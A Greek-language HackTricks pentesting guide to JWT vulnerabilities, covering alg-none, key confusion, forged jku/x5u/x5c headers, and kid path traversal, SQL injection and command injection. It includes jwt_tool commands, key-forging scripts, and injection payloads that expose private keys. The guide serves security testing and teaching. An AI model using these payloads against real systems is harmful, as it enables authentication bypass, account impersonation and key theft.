JWT Vulnerabilities (Json Web Tokens)

Reading time: 14 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Μέρος αυτού του άρθρου βασίζεται στην καταπληκτική ανάρτηση: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Συγγραφέας του σπουδαίου εργαλείου για pentest JWTs https://github.com/ticarpi/jwt_tool

Γρήγορες Νίκες

Τρέξτε jwt_tool με λειτουργία All Tests! και περιμένετε για πράσινες γραμμές

bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"

Αν είστε τυχεροί, το εργαλείο θα βρει κάποια περίπτωση όπου η διαδικτυακή εφαρμογή ελέγχει λανθασμένα το JWT:

Στη συνέχεια, μπορείτε να αναζητήσετε το αίτημα στον μεσολαβητή σας ή να εξάγετε το χρησιμοποιούμενο JWT για αυτό το αίτημα χρησιμοποιώντας το jwt_ tool:

bash
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"

Μπορείτε επίσης να χρησιμοποιήσετε την Burp Extension SignSaboteur για να εκτελέσετε επιθέσεις JWT από το Burp.

Τροποποίηση δεδομένων χωρίς να αλλάξετε τίποτα

Μπορείτε απλώς να τροποποιήσετε τα δεδομένα αφήνοντας την υπογραφή ως έχει και να ελέγξετε αν ο διακομιστής ελέγχει την υπογραφή. Δοκιμάστε να αλλάξετε το όνομα χρήστη σας σε "admin" για παράδειγμα.

Ελέγχεται η υπογραφή του token;

Για να ελέγξετε αν η υπογραφή ενός JWT επαληθεύεται:

  • Ένα μήνυμα σφάλματος υποδηλώνει ότι η επαλήθευση είναι σε εξέλιξη; ευαίσθητες λεπτομέρειες σε εκτενή σφάλματα θα πρέπει να εξεταστούν.
  • Μια αλλαγή στη σελίδα που επιστρέφεται υποδηλώνει επίσης επαλήθευση.
  • Καμία αλλαγή υποδηλώνει ότι δεν υπάρχει επαλήθευση; αυτό είναι το σημείο για να πειραματιστείτε με την τροποποίηση των αξιώσεων του payload.

Προέλευση

Είναι σημαντικό να προσδιορίσετε αν το token δημιουργήθηκε από τον διακομιστή ή από τον πελάτη εξετάζοντας το ιστορικό αιτημάτων του proxy.

  • Τα tokens που παρατηρούνται πρώτα από την πλευρά του πελάτη υποδηλώνουν ότι το κλειδί μπορεί να είναι εκτεθειμένο σε κώδικα πελάτη, απαιτώντας περαιτέρω έρευνα.
  • Τα tokens που προέρχονται από τον διακομιστή υποδηλώνουν μια ασφαλή διαδικασία.

Διάρκεια

Ελέγξτε αν το token διαρκεί περισσότερο από 24 ώρες... ίσως να μην λήξει ποτέ. Αν υπάρχει ένα πεδίο "exp", ελέγξτε αν ο διακομιστής το χειρίζεται σωστά.

Brute-force HMAC μυστικό

Δείτε αυτή τη σελίδα.

Αλλαγή του αλγορίθμου σε None

Ορίστε τον αλγόριθμο που χρησιμοποιείται ως "None" και αφαιρέστε το μέρος της υπογραφής.

Χρησιμοποιήστε την επέκταση Burp που ονομάζεται "JSON Web Token" για να δοκιμάσετε αυτή την ευπάθεια και να αλλάξετε διάφορες τιμές μέσα στο JWT (στείλτε το αίτημα στο Repeater και στην καρτέλα "JSON Web Token" μπορείτε να τροποποιήσετε τις τιμές του token. Μπορείτε επίσης να επιλέξετε να θέσετε την τιμή του πεδίου "Alg" σε "None").

Αλλαγή του αλγορίθμου RS256(ασύμμετρος) σε HS256(συμμετρικός) (CVE-2016-5431/CVE-2016-10555)

Ο αλγόριθμος HS256 χρησιμοποιεί το μυστικό κλειδί για να υπογράψει και να επαληθεύσει κάθε μήνυμα.
Ο αλγόριθμος RS256 χρησιμοποιεί το ιδιωτικό κλειδί για να υπογράψει το μήνυμα και χρησιμοποιεί το δημόσιο κλειδί για την αυθεντικοποίηση.

Αν αλλάξετε τον αλγόριθμο από RS256 σε HS256, ο κώδικας του back end χρησιμοποιεί το δημόσιο κλειδί ως το μυστικό κλειδί και στη συνέχεια χρησιμοποιεί τον αλγόριθμο HS256 για να επαληθεύσει την υπογραφή.

Στη συνέχεια, χρησιμοποιώντας το δημόσιο κλειδί και αλλάζοντας το RS256 σε HS256, θα μπορούσαμε να δημιουργήσουμε μια έγκυρη υπογραφή. Μπορείτε να ανακτήσετε το πιστοποιητικό του διακομιστή ιστού εκτελώντας αυτό:

bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem

Νέο δημόσιο κλειδί μέσα στην κεφαλίδα

Ένας επιτιθέμενος ενσωματώνει ένα νέο κλειδί στην κεφαλίδα του token και ο διακομιστής χρησιμοποιεί αυτό το νέο κλειδί για να επαληθεύσει την υπογραφή (CVE-2018-0114).

Αυτό μπορεί να γίνει με την επέκταση "JSON Web Tokens" του Burp.
(Στείλτε το αίτημα στον Repeater, μέσα στην καρτέλα JSON Web Token επιλέξτε "CVE-2018-0114" και στείλτε το αίτημα).

JWKS Spoofing

Οι οδηγίες περιγράφουν μια μέθοδο για την αξιολόγηση της ασφάλειας των JWT tokens, ιδιαίτερα αυτών που χρησιμοποιούν μια δήλωση κεφαλίδας "jku". Αυτή η δήλωση θα πρέπει να συνδέεται με ένα αρχείο JWKS (JSON Web Key Set) που περιέχει το δημόσιο κλειδί που είναι απαραίτητο για την επαλήθευση του token.

  • Αξιολόγηση Tokens με "jku" Κεφαλίδα:

  • Επαληθεύστε το URL της δήλωσης "jku" για να διασφαλίσετε ότι οδηγεί στο κατάλληλο αρχείο JWKS.

  • Τροποποιήστε την τιμή "jku" του token για να κατευθυνθεί προς μια ελεγχόμενη διαδικτυακή υπηρεσία, επιτρέποντας την παρακολούθηση της κίνησης.

  • Παρακολούθηση για HTTP Αλληλεπίδραση:

  • Η παρακολούθηση των HTTP αιτημάτων προς το καθορισμένο URL σας υποδεικνύει τις προσπάθειες του διακομιστή να ανακτήσει κλειδιά από τον παρεχόμενο σύνδεσμο.

  • Όταν χρησιμοποιείτε το jwt_tool για αυτή τη διαδικασία, είναι κρίσιμο να ενημερώσετε το αρχείο jwtconf.ini με την προσωπική σας τοποθεσία JWKS για να διευκολύνετε τη δοκιμή.

  • Εντολή για jwt_tool:

  • Εκτελέστε την παρακάτω εντολή για να προσομοιώσετε το σενάριο με το jwt_tool:

bash
python3 jwt_tool.py JWT_HERE -X s

Επισκόπηση Θεμάτων Kid

Μια προαιρετική δήλωση κεφαλίδας γνωστή ως kid χρησιμοποιείται για την αναγνώριση ενός συγκεκριμένου κλειδιού, το οποίο γίνεται ιδιαίτερα ζωτικής σημασίας σε περιβάλλοντα όπου υπάρχουν πολλαπλά κλειδιά για την επαλήθευση υπογραφής token. Αυτή η δήλωση βοηθά στην επιλογή του κατάλληλου κλειδιού για την επαλήθευση της υπογραφής ενός token.

Αποκάλυψη Κλειδιού μέσω "kid"

Όταν η δήλωση kid είναι παρούσα στην κεφαλίδα, συνιστάται να αναζητήσετε τον διαδικτυακό κατάλογο για το αντίστοιχο αρχείο ή τις παραλλαγές του. Για παράδειγμα, αν καθοριστεί "kid":"key/12345", θα πρέπει να αναζητηθούν τα αρχεία /key/12345 και /key/12345.pem στη ρίζα του διαδικτύου.

Διαδρομή Διασύνδεσης με "kid"

Η δήλωση kid μπορεί επίσης να εκμεταλλευτεί για να πλοηγηθεί μέσα στο σύστημα αρχείων, επιτρέποντας ενδεχομένως την επιλογή ενός αυθαίρετου αρχείου. Είναι εφικτό να δοκιμάσετε τη συνδεσιμότητα ή να εκτελέσετε επιθέσεις Server-Side Request Forgery (SSRF) τροποποιώντας την τιμή kid για να στοχεύσετε συγκεκριμένα αρχεία ή υπηρεσίες. Η παραποίηση του JWT για να αλλάξετε την τιμή kid ενώ διατηρείτε την αρχική υπογραφή μπορεί να επιτευχθεί χρησιμοποιώντας την επιλογή -T στο jwt_tool, όπως φαίνεται παρακάτω:

bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""

Με την στόχευση αρχείων με προβλέψιμο περιεχόμενο, είναι δυνατόν να παραχαραχθεί ένα έγκυρο JWT. Για παράδειγμα, το αρχείο /proc/sys/kernel/randomize_va_space σε συστήματα Linux, που είναι γνωστό ότι περιέχει την τιμή 2, μπορεί να χρησιμοποιηθεί στην παράμετρο kid με 2 ως το συμμετρικό κλειδί για τη δημιουργία JWT.

SQL Injection μέσω "kid"

Εάν το περιεχόμενο της δήλωσης kid χρησιμοποιείται για την ανάκτηση ενός κωδικού πρόσβασης από μια βάση δεδομένων, μπορεί να διευκολυνθεί μια SQL injection τροποποιώντας το payload του kid. Ένα παράδειγμα payload που χρησιμοποιεί SQL injection για να αλλάξει τη διαδικασία υπογραφής του JWT περιλαμβάνει:

non-existent-index' UNION SELECT 'ATTACKER';-- -

Αυτή η τροποποίηση αναγκάζει τη χρήση ενός γνωστού μυστικού κλειδιού, ATTACKER, για την υπογραφή του JWT.

OS Injection μέσω "kid"

Ένα σενάριο όπου η παράμετρος kid καθορίζει μια διαδρομή αρχείου που χρησιμοποιείται σε ένα πλαίσιο εκτέλεσης εντολών θα μπορούσε να οδηγήσει σε ευπάθειες Remote Code Execution (RCE). Με την εισαγωγή εντολών στην παράμετρο kid, είναι δυνατόν να εκτεθούν ιδιωτικά κλειδιά. Ένα παράδειγμα payload για την επίτευξη RCE και έκθεσης κλειδιών είναι:

/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&

x5u και jku

jku

jku σημαίνει JWK Set URL.
Εάν το token χρησιμοποιεί μια δήλωση “jkuHeader, τότε ελέγξτε τη διεύθυνση URL που παρέχεται. Αυτή θα πρέπει να δείχνει σε μια διεύθυνση URL που περιέχει το αρχείο JWKS που κρατά το Δημόσιο Κλειδί για την επαλήθευση του token. Τροποποιήστε το token ώστε να δείχνει την τιμή jku σε μια διαδικτυακή υπηρεσία που μπορείτε να παρακολουθείτε την κίνηση.

Πρώτα πρέπει να δημιουργήσετε ένα νέο πιστοποιητικό με νέα ιδιωτικά & δημόσια κλειδιά.

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Μπορείτε να χρησιμοποιήσετε για παράδειγμα jwt.io για να δημιουργήσετε το νέο JWT με τα δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο jku στο πιστοποιητικό που δημιουργήθηκε. Για να δημιουργήσετε ένα έγκυρο πιστοποιητικό jku, μπορείτε να κατεβάσετε το αρχικό και να αλλάξετε τις απαραίτητες παραμέτρους.

Μπορείτε να αποκτήσετε τις παραμέτρους "e" και "n" από ένα δημόσιο πιστοποιητικό χρησιμοποιώντας:

bash
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))

x5u

X.509 URL. Ένα URI που δείχνει σε ένα σύνολο δημόσιων πιστοποιητικών X.509 (ένα πρότυπο μορφής πιστοποιητικού) κωδικοποιημένων σε μορφή PEM. Το πρώτο πιστοποιητικό στο σύνολο πρέπει να είναι αυτό που χρησιμοποιείται για την υπογραφή αυτού του JWT. Τα επόμενα πιστοποιητικά υπογράφουν το προηγούμενο, ολοκληρώνοντας έτσι την αλυσίδα πιστοποιητικών. Το X.509 ορίζεται στο RFC 52807 . Απαιτείται ασφάλεια μεταφοράς για τη μεταφορά των πιστοποιητικών.

Δοκιμάστε να αλλάξετε αυτή την κεφαλίδα σε μια URL υπό τον έλεγχό σας και ελέγξτε αν ληφθεί οποιοδήποτε αίτημα. Σε αυτή την περίπτωση, θα μπορούσατε να παραποιήσετε το JWT.

Για να κατασκευάσετε ένα νέο διακριτικό χρησιμοποιώντας ένα πιστοποιητικό που ελέγχετε, πρέπει να δημιουργήσετε το πιστοποιητικό και να εξάγετε τα δημόσια και ιδιωτικά κλειδιά:

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε για παράδειγμα jwt.io για να δημιουργήσετε το νέο JWT με τα δημιουργημένα δημόσια και ιδιωτικά κλειδιά και να δείξετε την παράμετρο x5u στο πιστοποιητικό .crt που δημιουργήθηκε.

Μπορείτε επίσης να εκμεταλλευτείτε και τις δύο αυτές ευπάθειες για SSRFs.

x5c

Αυτή η παράμετρος μπορεί να περιέχει το πιστοποιητικό σε base64:

Εάν ο επιτιθέμενος δημιουργήσει ένα αυτο-υπογεγραμμένο πιστοποιητικό και δημιουργήσει ένα πλαστό token χρησιμοποιώντας το αντίστοιχο ιδιωτικό κλειδί και αντικαταστήσει την τιμή της παραμέτρου "x5c" με το νεοδημιουργηθέν πιστοποιητικό και τροποποιήσει τις άλλες παραμέτρους, δηλαδή n, e και x5t, τότε ουσιαστικά το πλαστό token θα γίνει αποδεκτό από τον διακομιστή.

bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text

Ενσωματωμένο Δημόσιο Κλειδί (CVE-2018-0114)

Αν το JWT έχει ενσωματωμένο ένα δημόσιο κλειδί όπως στο παρακάτω σενάριο:

Χρησιμοποιώντας το παρακάτω σενάριο nodejs είναι δυνατόν να παραχθεί ένα δημόσιο κλειδί από αυτά τα δεδομένα:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="​ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8"​;
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));

Είναι δυνατόν να δημιουργήσετε ένα νέο ιδιωτικό/δημόσιο κλειδί, να ενσωματώσετε το νέο δημόσιο κλειδί μέσα στο token και να το χρησιμοποιήσετε για να δημιουργήσετε μια νέα υπογραφή:

bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key

Μπορείτε να αποκτήσετε το "n" και το "e" χρησιμοποιώντας αυτό το script nodejs:

bash
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));

Τελικά, χρησιμοποιώντας το δημόσιο και ιδιωτικό κλειδί και τις νέες τιμές "n" και "e" μπορείτε να χρησιμοποιήσετε jwt.io για να κατασκευάσετε ένα νέο έγκυρο JWT με οποιαδήποτε πληροφορία.

ES256: Αποκάλυψη του ιδιωτικού κλειδιού με τον ίδιο nonce

Εάν ορισμένες εφαρμογές χρησιμοποιούν ES256 και χρησιμοποιούν τον ίδιο nonce για να δημιουργήσουν δύο jwts, το ιδιωτικό κλειδί μπορεί να αποκατασταθεί.

Εδώ είναι ένα παράδειγμα: ECDSA: Αποκάλυψη του ιδιωτικού κλειδιού, εάν χρησιμοποιηθεί ο ίδιος nonce (με SECP256k1)

JTI (JWT ID)

Η αξίωση JTI (JWT ID) παρέχει έναν μοναδικό αναγνωριστικό για ένα JWT Token. Μπορεί να χρησιμοποιηθεί για να αποτρέψει την επανάληψη του token.
Ωστόσο, φανταστείτε μια κατάσταση όπου το μέγιστο μήκος του ID είναι 4 (0001-9999). Οι αιτήσεις 0001 και 10001 θα χρησιμοποιήσουν το ίδιο ID. Έτσι, αν το backend αυξάνει το ID σε κάθε αίτηση, θα μπορούσατε να εκμεταλλευτείτε αυτό για να επανεκτελέσετε μια αίτηση (χρειάζεται να στείλετε 10000 αιτήσεις μεταξύ κάθε επιτυχούς επανάληψης).

JWT Καταχωρημένες αξιώσεις

JSON Web Token (JWT)

Άλλες επιθέσεις

Επιθέσεις Διασύνδεσης Υπηρεσιών

Έχει παρατηρηθεί ότι ορισμένες διαδικτυακές εφαρμογές βασίζονται σε μια αξιόπιστη υπηρεσία JWT για τη δημιουργία και διαχείριση των tokens τους. Έχουν καταγραφεί περιπτώσεις όπου ένα token, που δημιουργήθηκε για έναν πελάτη από την υπηρεσία JWT, έγινε αποδεκτό από έναν άλλο πελάτη της ίδιας υπηρεσίας JWT. Εάν παρατηρηθεί η έκδοση ή ανανέωση ενός JWT μέσω μιας τρίτης υπηρεσίας, θα πρέπει να διερευνηθεί η δυνατότητα εγγραφής σε έναν λογαριασμό σε άλλο πελάτη αυτής της υπηρεσίας χρησιμοποιώντας το ίδιο όνομα χρήστη/email. Στη συνέχεια, θα πρέπει να γίνει μια προσπάθεια επανάληψης του αποκτηθέντος token σε μια αίτηση προς τον στόχο για να δούμε αν γίνεται αποδεκτό.

  • Ένα κρίσιμο ζήτημα μπορεί να υποδεικνύεται από την αποδοχή του token σας, επιτρέποντας ενδεχομένως την παραποίηση οποιουδήποτε λογαριασμού χρήστη. Ωστόσο, θα πρέπει να σημειωθεί ότι μπορεί να απαιτείται άδεια για ευρύτερη δοκιμή εάν εγγραφείτε σε μια τρίτη εφαρμογή, καθώς αυτό θα μπορούσε να εισέλθει σε μια νομική γκρίζα περιοχή.

Έλεγχος Λήξης Tokens

Η λήξη του token ελέγχεται χρησιμοποιώντας την αξίωση "exp" Payload. Δεδομένου ότι τα JWT χρησιμοποιούνται συχνά χωρίς πληροφορίες συνεδρίας, απαιτείται προσεκτική διαχείριση. Σε πολλές περιπτώσεις, η σύλληψη και η επανάληψη του JWT άλλου χρήστη θα μπορούσε να επιτρέψει την ταυτοποίηση αυτού του χρήστη. Το JWT RFC προτείνει την μείωση των επιθέσεων επανάληψης JWT χρησιμοποιώντας την αξίωση "exp" για να ορίσετε μια ώρα λήξης για το token. Επιπλέον, η εφαρμογή σχετικών ελέγχων από την εφαρμογή για να διασφαλιστεί η επεξεργασία αυτής της τιμής και η απόρριψη των ληγμένων tokens είναι κρίσιμη. Εάν το token περιλαμβάνει μια αξίωση "exp" και οι περιορισμοί χρόνου δοκιμών το επιτρέπουν, συνιστάται η αποθήκευση του token και η επανάληψή του μετά την παρέλευση της ώρας λήξης. Το περιεχόμενο του token, συμπεριλαμβανομένης της ανάλυσης χρονοσήμανσης και του ελέγχου λήξης (χρονοσήμανση σε UTC), μπορεί να διαβαστεί χρησιμοποιώντας την επιλογή -R του jwt_tool.

  • Ένας κίνδυνος ασφαλείας μπορεί να υπάρχει εάν η εφαρμογή εξακολουθεί να επικυρώνει το token, καθώς αυτό μπορεί να υποδηλώνει ότι το token δεν θα μπορούσε ποτέ να λήξει.

Εργαλεία

GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks